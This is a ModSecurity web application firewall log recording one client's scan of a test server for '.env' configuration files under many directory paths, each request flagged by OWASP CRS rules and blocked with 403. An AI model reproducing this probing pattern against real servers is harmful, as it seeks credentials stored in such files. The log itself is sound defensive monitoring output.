[Mon Jul 28 20:46:11.146149 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IyQAAAAA&quot;]
[Mon Jul 28 20:46:11.166446 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /home/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IygAAAAA&quot;]
[Mon Jul 28 20:46:11.167324 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IygAAAAA&quot;]
[Mon Jul 28 20:46:11.167510 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IygAAAAA&quot;]
[Mon Jul 28 20:46:11.187927 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /horde/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IywAAAAA&quot;]
[Mon Jul 28 20:46:11.188164 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IywAAAAA&quot;]
[Mon Jul 28 20:46:11.188344 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IywAAAAA&quot;]
[Mon Jul 28 20:46:11.208618 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hotpot-app-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzAAAAAA&quot;]
[Mon Jul 28 20:46:11.208855 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzAAAAAA&quot;]
[Mon Jul 28 20:46:11.209026 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzAAAAAA&quot;]
[Mon Jul 28 20:46:11.229376 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzQAAAAA&quot;]
[Mon Jul 28 20:46:11.229603 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzQAAAAA&quot;]
[Mon Jul 28 20:46:11.229762 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzQAAAAA&quot;]
[Mon Jul 28 20:46:11.249973 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzgAAAAA&quot;]
[Mon Jul 28 20:46:11.250211 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzgAAAAA&quot;]
[Mon Jul 28 20:46:11.250397 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzgAAAAA&quot;]
[Mon Jul 28 20:46:11.270606 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /http/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzwAAAAA&quot;]
[Mon Jul 28 20:46:11.270826 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzwAAAAA&quot;]
[Mon Jul 28 20:46:11.270994 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-IzwAAAAA&quot;]
[Mon Jul 28 20:46:11.291140 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpboot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0AAAAAA&quot;]
[Mon Jul 28 20:46:11.291358 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0AAAAAA&quot;]
[Mon Jul 28 20:46:11.291532 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0AAAAAA&quot;]
[Mon Jul 28 20:46:11.311742 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0QAAAAA&quot;]
[Mon Jul 28 20:46:11.312004 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0QAAAAA&quot;]
[Mon Jul 28 20:46:11.312175 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0QAAAAA&quot;]
[Mon Jul 28 20:46:11.332378 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /huniv_migration/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0gAAAAA&quot;]
[Mon Jul 28 20:46:11.332626 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0gAAAAA&quot;]
[Mon Jul 28 20:46:11.332815 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I0gAAAAA&quot;]
[Mon Jul 28 20:46:11.374531 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1AAAAAA&quot;]
[Mon Jul 28 20:46:11.374770 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1AAAAAA&quot;]
[Mon Jul 28 20:46:11.374949 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1AAAAAA&quot;]
[Mon Jul 28 20:46:11.395313 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1QAAAAA&quot;]
[Mon Jul 28 20:46:11.395539 2025] [:error] [pid 1534264] [client 185.177.72.201:36186] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aIfFc8c5NK034Azyi1-I1QAAAAA&quot;]
